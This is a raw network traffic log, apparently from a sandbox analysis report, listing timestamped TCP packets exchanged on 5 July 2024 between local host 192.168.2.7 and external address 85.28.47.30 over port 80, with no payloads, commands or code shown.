Jul 5, 2024 06:23:01.820657015 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:01.820657015 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:01.820657015 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:01.821510077 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.821520090 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.821531057 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.821541071 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.821552038 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.821563005 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.821562052 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:01.821574926 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.821599007 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:01.821620941 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:01.823780060 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.823791027 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.823801041 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.823812962 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.823821068 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:01.823858976 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:01.890729904 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.890741110 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.890750885 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.890770912 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.890779972 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.890795946 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:01.890858889 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:01.902107000 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.902118921 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.902128935 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.902184963 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:01.902184963 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:01.902221918 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.902234077 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.902242899 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.902261019 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:01.902293921 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:01.902360916 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.902371883 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.902400017 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:01.902424097 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:01.908917904 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.908929110 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.908938885 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.908963919 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.909044027 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:01.909044027 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:01.909049034 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.909086943 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:01.909087896 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.909099102 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.909107924 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.909122944 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:01.909140110 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.909142971 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:01.909156084 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.909168005 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.909176111 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:01.909198999 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:01.909643888 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.909653902 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.909662962 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.909672976 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.909682989 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.909693003 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.909697056 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:01.909706116 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.909715891 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.909727097 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.909732103 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:01.909750938 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:01.909775019 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:01.912699938 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.912741899 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.912751913 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.912755966 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:01.912782907 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.912784100 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:01.912811995 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:01.912822008 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.912828922 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:01.912832975 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.912861109 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.912862062 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:01.912873030 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.912883043 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:01.912899017 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:01.912911892 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:01.913172960 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.913182974 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.913192034 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.913217068 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:01.913247108 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:01.913388968 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.913407087 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.913417101 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.913427114 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.913430929 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:01.913444042 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.913455009 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.913465023 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:01.913491011 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:01.913814068 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.913826942 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.913844109 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.913861036 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.913878918 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:01.913878918 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:01.913904905 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.913914919 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.913918018 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:01.913925886 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.913953066 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:01.913980961 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:01.913980961 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.913996935 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.914005995 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.914016962 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.914020061 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:01.914024115 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.914042950 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:01.914073944 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:01.914788961 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.914800882 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.914805889 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.914809942 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.914814949 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.914823055 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.914839983 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.914850950 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.914860010 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:01.914860964 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.914874077 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.914882898 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.914894104 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.914896965 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:01.914932013 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:01.914942980 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:01.915605068 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.915621996 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.915632963 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.915664911 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:01.915664911 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:01.915688992 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:01.915693998 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.915704966 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.915714979 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.915729046 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.915730000 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:01.915755033 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:01.915783882 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:01.916229963 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.916243076 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.916253090 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.916268110 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.916279078 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.916285038 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:01.916290045 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.916305065 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.916313887 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:01.916316032 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.916327953 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.916337967 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.916342020 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:01.916348934 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.916361094 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.916368008 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:01.916388035 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:01.916399956 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:01.984662056 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.984669924 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.984682083 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.984688044 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.984694004 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.984700918 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.984709978 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.984719992 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.984802008 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:01.984802008 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:01.995919943 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.995934963 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.995946884 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.996017933 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.996022940 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.996027946 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.996033907 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.996100903 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.996104956 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.996112108 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.996117115 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.996123075 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.996124983 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:01.996129990 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.996181965 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:01.996182919 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.002754927 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.002763033 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.002778053 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.002784967 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.002796888 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.002803087 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.002810001 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.002810955 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.002815962 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.002824068 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.002861023 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.002902985 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.003238916 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.003281116 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.003287077 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.003299952 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.003351927 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.003364086 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.003370047 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.003381014 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.003386021 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.003392935 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.003427982 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.003454924 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.003496885 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.003503084 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.003509998 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.003515005 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.003520966 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.003528118 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.003540993 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.003547907 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.003554106 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.003556013 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.003561974 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.003570080 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.003592968 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.003592968 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.003632069 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.003638029 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.003639936 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.003647089 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.003680944 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.003703117 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.003710985 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.003716946 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.003720045 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.003747940 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.006563902 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.006717920 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.006725073 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.006731033 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.006736994 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.006742954 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.006748915 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.006757021 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.006762028 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.006774902 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.006782055 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.006872892 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.006899118 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.006906033 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.006921053 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.006925106 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.006949902 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.006987095 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.007096052 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.007103920 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.007117033 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.007122040 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.007134914 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.007139921 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.007141113 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.007155895 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.007164001 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.007181883 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.007181883 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.007224083 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.007368088 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.007375002 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.007381916 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.007415056 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.007498026 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.007515907 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.007522106 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.007538080 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.007544994 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.007548094 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.007550955 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.007560015 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.007571936 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.007579088 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.007586002 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.007596016 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.007766962 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.007834911 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.007860899 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.007877111 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.007888079 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.007894993 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.007900000 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.007906914 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.007919073 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.007965088 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.007972002 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.007986069 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.007992983 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.007993937 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.008002043 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.008008003 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.008023024 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.008146048 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.008474112 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.008486986 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.008498907 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.008543015 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.008548975 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.008560896 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.008567095 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.008573055 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.008584023 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.008657932 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.078493118 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.078499079 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.078510046 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.078516960 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.078522921 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.078530073 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.078541994 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.078547955 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.078591108 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.078748941 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.089653969 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.089663029 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.089668036 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.089673996 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.089684010 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.089689970 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.089696884 CEST	80	49699	85.28.47.30	192.168.2.7
